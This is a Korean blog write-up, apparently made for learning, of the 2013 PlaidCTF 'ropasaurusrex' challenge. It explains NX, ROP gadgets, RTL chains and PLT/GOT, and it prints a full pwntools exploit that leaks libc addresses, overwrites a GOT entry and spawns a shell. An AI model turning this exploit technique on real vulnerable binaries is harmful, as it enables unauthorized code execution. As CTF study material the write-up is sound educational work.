1. 시작전에..


기초적인 오버플로우를 이용하여 exploit 하는 것은 여러 메모리 기법에 의해 성공시키기 어렵습니다. 

이 때문에 ROP라는 기법을 통해서 exploit을 시도하는데요. 이번에 저도 말로만 들어왔던 ROP에 대해서 한번 알아보았습니다.

제가 참고했던 링크는 https://bpsecblog.wordpress.com/2016/03/12/pctf2013_ropasaurusrex/ 이 곳의 글을 주로 참고하였고,

사용했던 바이너리는 위 글에서 사용한 예제와 같이 2013년 plaidCTF에서 출제되었던  ropasaurusrex바이너리를 사용하였습니다.



2. 용어


먼저, 이 문제를 풀이하며 필요한 용어와 아이디어를 풀어봅시다!


2-1. NX(No eXecutable)

NX는 위에서 언급했던 메모리 기법 중 하나인데요, 메모리 페이지의 권한을 write권한과 excutable권한을 동시에 갖지 않도록 설정하는 방법입니다.


좀 더 설명을 하자면, 예를 들어 설명하자면 80짜리 버퍼가 있고, 오버플로우를 이용해서 버퍼(스택 공간)에 쉘코드 및 \x90으로 80만큼 채운 후 4바이트 sfp를 덮고, RET자리에 쉘코드 시작 주소를 넣는다고 가정해봅시다.


위의 그림과 같이 가정한대로 오버플로우를 이용해 RET주소를 쉘코드 시작주소로 덮어써주었습니다.

리턴주소가 쉘코드 시작주소로 덮어 써졌으므로 쉘코드가 실행되어 exploit이 가능하겠지요?


여기에 NX가 설정이 되어 있으면, 스택공간에 있는 저 쉘코드에 실행권한이 없어서 RET를 주소로 덮어써주어도!

실행권한이 없기 때문에 실행이 되지 않아 exploit이 불가하다 이런 개념입니다.


2-2) ROP(Return Oriented Programming)

현재 수행 중인 프로그램 코드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계 명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜스택의 제어를 통제하는 기술, 실행되는 모든 명령어들이 원래 프로그램 안에 존재하는 실행 가능한 메모리 영역에서 추출한 것들이기 때문에 실행가능하다!


[참조] http://shayete.tistory.com/entry/6-Return-Oriented-Programming


위에 써드린 참조 주소에 설명이 매우 잘되어있어요.. 심지어 영상 강의까지 있으니 도움이 많이 되실 듯 합니다.


참고로, 위에서 말한 선별된 기계 명령어 또는 기계 명령어 덩어리를 "가젯(gadget)"이라고 부릅니다.

사실 위에 설명만으로는 너무 추상적인 이야기이기 때문에 감이 잘 안오실껀데..(전 그랬거든요) 직접 어떻게 페이로드가 구성되는 지 보시면 바로 감이 올꺼에요


2-3) RTL Chain(Return To Library Chain)

함수가 호출 되는 과정을 살펴봅시다.

1. 함수 호출 전 스택에 차곡차곡 파라미터들을 push합니다. 

2. 다음 실행 명령어를 스택에 push한 후 해당 함수 주소로 jmp합니다.

3. 스택프레임을 구성하고 함수가 실행됩니다.

4. pop eip를 통해 다음 명령어 주소를 복구하여 다음을 진행합니다.


예를 들어 리턴 주소들(함수 주소들)이 차곡차곡 쌓여있는 아래와 같은 스택이 있다고 생각해봅시다.

"각 함수들이 아무 arguments를 받지 않는다"라고 가정한다면, 해당 스택을 가진 함수가 끝나고나면 RET1의 주소에 있는 함수를 호출 하게 되겠죠?

그리고 그 함수가 끝나고 나면 RET2의 주소에 있는 함수를 호출하게 될거에요, 그리고 그다음엔 RET3...

이렇게 호출하게 되는 이유는 함수 호출 전 다음 실행되는 명령어의 주소가 미리 push되어 있다는 가정하에 pop eip명령어를 통해 프로그램의 흐름을 제어 하기 때문에 이루어지게됩니다. 물론 실제로는 이렇게 구성되는 경우는 없다고 볼 수 있겠지만, 오버플로우가 가능한 상황에 우리가 임의로 이런 스택구조를 만들 수 있습니다.


그렇다면, 이런 스택 구조도 생각해 볼 수 있을거에요

RET1의 주소에 있는 함수가 하나의 argument를 전달받아야 한다면, 위와 같은 방식으로 arg1A값을 넣어서 전달 할 수 있어요,

마찬가지로 RET2의 주소에 있는 함수에 두 개의 arguments를 전달 할 수 있죠, 다만 차이가 있다면 argumnets와 RET주소 사이에 pop을 보셔야합니다.

argument들을 사용하기위해 스택에 쌓았지만 프로그램 흐름을 제어하기 위해서는 RET2를 pop하기 전에 스택에서 사라져 줘야한다는 것이지요

그렇게 하기 위해서 각 각 갯수에 맞추어 pop한 개, pop두 개가 실행 되는 "가젯"들이 필요한거에요.


한 셋트씩 뜯어서 보자면, RET주소 + arguments갯수만큼의 pop + ret하는 가젯의 주소 + arguments 이렇게 한 셋트로 묶어서 생각하시면 됩니다.

이러한 것들을 엮어서 만든 것이 chain 형태처럼 보이나요?


이 "가젯"들은 프로그램 안에 존재하는 것들을 찾아서 써야하고, 이런 가젯들을 찾기위해 여러가지 툴이 있습니다만, 저는 rp를 사용했습니다.

rp : https://github.com/0vercl0k/rp/downloads


RTL은 Return To Library로, 일반적으로 프로그램에서 사용하는 라이브러리안에 있는 함수를 리턴하여 공격하는 방식입니다.

가령 공격할 바이너리에 system함수가 없어도 기본적으로 사용하는 라이브러리안에 system함수가 있기때문에 이 주소를 찾아서 위의 체인안에 주소를 넣어주는 식으로 공격할 수 있습니다.


다만, ASLR(Address Space Layout Randomization)기법이 적용되어있다면 함수들의 주소가 실행 할 때마다 유동적으로 바뀌기 때문에 이 주소를 찾아줘야하는 수고가 필요 할 수 있습니다.


 

3. 분석

실제 예제를 분석해보면서 위에서 살펴본 개념들을 구체화해봅시다.



먼저 바이너리가 어떤상태인지 살펴보니까, elf 32bit바이너리네요. 동적링킹되어있고요.



실행하니까 입력을 받고 그냥 WIN이라는 문자열을 출력하고 끝내네요??



gdb로 열어서 main을 까보려고하니까 심볼테이블이 로드되지 않았다고하네요..

사실 저는 여기서부터 어떻게해야하나 막막했는데, 이럴땐 main의 주소를 알아내서 시작할 수 있습니다. IDA로 열어보면!



main을 찾을수 있죠? 그리고 옆엔 주소를 알수 있자나여?? 이 주소로 gdb로 까보면 까볼 수 있다 이겁니다.



짠! 요렇게요. 기왕 IDA로 열어봤으니까 짱짱좋은 hex-ray가지고 분석을 좀더 해보자고여.


디스어셈블했을 때도 알 수 있는 있지만, main은 별게 없어요. 어떤 함수 하나를 호출 한 다음에 그저 WIN이라는 문자열을 write함수를 통해

출력해줄 뿐이죠.


원래 저 함수는 임의의 문자열로 되어있는데 저는 분석하기 편하도록 vulnFunc라는 이름으로 수정해주었습니다.

그럼 vulnFunc함수를 볼까요?


 

첫 번째 라인에서 char buf; // [sp+10h] [bp-88h]@1 로 버퍼의 사이즈가 스택에 0x88만큼 할당이 되고 있는 것을 알 수 있고,

두 번째 라인에서 return read(0, &buf, 0x100u); , read함수를 통해 표준입력으로 0x100만큼 입력을 받고 있는 것을 볼 수 있죠?

여기서 BOF를 이용해 스택을 조작할 수 있겠습니다.


0x88은 십진수로 136이잖아요? 그렇다면 vulnfunc함수 안에서 스택의 모양은 아래 처럼 예상해 볼 수 있을 거에요


우린 여기서 RET를 덮어서 RTL Chain을 엮어가지고 exploit을 할꺼잖아요? 구체적으로 어떻게 하면 좋을 지, 거기엔 무엇이 필요한 지 한번

봅시다.


우선, 우리가 호출하고 싶은 건 system("/bin/sh"); 잖아요?

"/bin/sh" 문자열은 프로그램 내에 없을 테니까 이 문자열을 어딘가에 임의로 써주어야겠죠?


그리고 system()의 주소가 필요하죠. 여기서는 서버에 aslr환경이 적용되어있다고 가정 하여 실행 시 주소가 매번 변경된다고 가정하겠습니다.

즉, 그냥 system()의 주소가 필요한 것이 아니라 바이너리를 실행할 당시의 system()주소가 필요합니다.


근데 프로그램 내부에서는 system함수를 쓰고있지 않기 때문에 프로그램에서 사용하는 read함수 주소(got주소)를 얻어내서 offset을 계산 한 후

이 offset을 이용해서 system함수의 주소(got주소)를 읽어와야합니다.


got에 대한 내용은 아래를 참조해주세요.


PLT와 GOT자세히 알기-1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT자세히 알기-2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


메모리에서 어떤 값을 써주어야하고, 읽어와야하기 때문에 read, write함수를 써야할거에여. read, write를 호출하려면 read, write의 plt주소를 알아와야해요. 알아온 주소로 chain을 구성할 수 있을거에요. 


read와 write는 모두 인자를 3개를 받고 있기 때문에, pop pop pop ret; 형태의 가젯의 주소 또한 필요하겠네요!


read / write를 연달아 호출하는 RTL Chain은 아래와 비슷한 형태가 되겠지요


그렇다면 결론적으로 필요한 것이 어떤 것들이 있는 지 정리를 해보고 필요한 것들을 모아봅시다.


1. read / write의 plt

2. pop을 세 번한 후 ret하는 가젯

3. 프로그램 실행 당시의 system함수의 got

4. 메모리에 "/bin/sh" 문자열을 써야함



익스플로잇 코드는 pwntools모듈을 통해 짜볼껀데, 여기에 plt와 got를 한방에 알아내는 아주 좋은 기능이 있으니 1번은 생략합시다.

가젯은 위에서 얘기한데로 rp를 이용해서 찾아볼거에여

rp -f [file path] -r [gadget`s maximun size] 로 사용할 수 있으니, 우리는


rp -f ./ropasaurusrex -r 4 로 실행을 해보면!!


결과 중 빨간 네모칸에 보이는 저 가젯을 찾을 수 있습니다. 


전 처음에 이 가젯을 보고 ebp값을 건드리기 때문에 스택프레임이 깨지면서 segfault가 나지 않을까 고민을 곰곰히 해봤는데, 어차피 chain을 통해 계속 스택프레임이 재구성되기 때문에 문제가 없을 거라는 결론을 내렸고 실제로도 이상이 없었어요.


자자 그럼 가젯도 모았고, 이제 프로그램 실행 당시의 system함수의 got는 어찌 구하느냐!

요건 미리 돌려보고 기준점을 삼을 함수를 하나 선정해서 offset을 계산해야해요, 전 read의 got를 기준으로 잡았고 이것으로 offset을 계산을 할거에요.



※프로그램을 실행해야 테이블이 로드되면서 주소를 알 수 있어요. 적당한 곳에 브레이크 포인트를 잡고 실행 한 후 찾아주세요.


빨간 네모친 부분에 read / system 함수의 got주소가 있죠? offset은 0xf7ec4c60(read) - 0xf7e28b40(system) = 0x9c120 이 되겠네요!

마지막으로 system함수의 인자로 필요한 "/bin/sh"문자열을 쓰는건 RTL Chain을 이용해서 쓰도록 해야할텐데, 기본적으로 data나 bss영역에 쓴다고 하던데.. 



위에 그림은 objdump - x ./ropasaurusrex  로 섹션정보를 출력한거에요.


첫 번째로 나오는 놈이 사이즈인데 23. data섹션과 24. bss섹션은 8바이트밖에 안되져 ㅠㅠ 너무작아서 쓰기 힘들 것 같습니다. 

20. dynamic 섹션은 다이나믹 링킹과정에 필요한 섹션이라고 하는데.. 여기서는 건드려도 무방하다고만 알고있어요... elf구조는 아직 뜯어보지 못하여서 잘모르겠습니다.


어쨌든! dynamic 섹션에 쓰면 될 거 같고, 요 섹션의 주소 또한 pwntools에서 쉽게 얻어낼 수 있습니다.


그럼 이제 어떻게 익스플로잇을 하는 지 코드를 한번 볼까요?


4. exploit

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from pwn import *
proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
 
binsh = "/bin/sh"
 
#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]
 
#real address of read func - real address of system func
offset = 0x9c120
 
#080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x080484b6
 
#payload
#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))
 
#step 2. reading address of read`s got
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)
 
proc.send(payload + "\n")
proc.send(binsh)
 
read_address = proc.recv(4)
system_address = u32(read_address) - offset
 
log.info("read address   = %x" % u32(read_address))
log.info("system address = %x" % system_address)
 
proc.send(p32(system_address))
 
log.info("Exploit is Success!!")
proc.interactive()



항상 그래왔듯이 결과부터 보자구여!

proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

이 줄은 바이너리를 실행 해서 프로세스를 생성하는 줄이에요


= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

해당 파일을 elf format으로 읽어주는 줄이고,


#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]


이 부분에서 pwntools의 파워풀함을 알 수 있죠, 위처럼 elf로 파일을 읽으면 각 섹션주소와 plt와 got의 주소를 한방에 알아낼 수 있습니다.

그 아래에서는 우리가 찾아낸 offset과 가젯의 주소를 선언해 주었습니다.


페이로드가 만들어지는 부분을 살펴볼까요?


#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))


스텝 1에서는 read 함수를 이용해서 "/bin/sh"문자열을 .dynamic section에 써주는 부분이에요, 먼저 BOF를 내기위해 더미 140바이트(buf size(0x88, 136) + sfp(4))를 써주었고,

리턴 주소를 read의 plt로 덮어주어서 read함수를 호출했어요, 그리고 인자정리를 위한 pppr을 넣어주고 "/bin/sh"를 입력해주기 위해 stdin의 fd인 0을 넣어주었습니다.

그리고 ds_section의 주소를 넣어주고, "/bin/sh"문자열의 length를 넣어주었죠


#step 2. reading address of read`s got

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 2에서는 같은 형식으로 표준 출력으로 read의 got주소를 출력해주게 했어요 프로그램 실행당시의 주소를 알아야하기때문에 이렇게 알아낸거죠 


※위처럼 표준 입출력을 통해 프로세스와 인터렉션하는 부분은 아래에 나와요, 페이로드에서는 인터렉션을 하기 위한 구조(?)를 만든다고 생각하시면 됩니다.


#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 3에서는 스텝 2에서 알아낸 read함수의 got주소를 가지고 offset으로 계산한 후 전달한 system함수의 got주소를 read함수의 got에 덮어쓰는 부분이에요, 덮어 쓴다음에 read함수를 호출하면 system함수가 호출되게 하기 위해서에요


#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)


스텝 4에서는 read함수를 호출하는데, 인자로 ds_section의 주소 즉, "/bin/sh"를 전달해요, 인자 전달전에 중간에 더미로 0xaaaabbbb를 전달해서 구조를 맞춰 줍니다.



5. 결과


이제야 ROP가 뭔지 개념정도는 알게 된거 같네요, 익숙해지도록 다른 문제들도 열심히 풀어봐야겠습니다!

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    read나 write는 안그러는데 왜 system() 만 offset으로 접근하나요?

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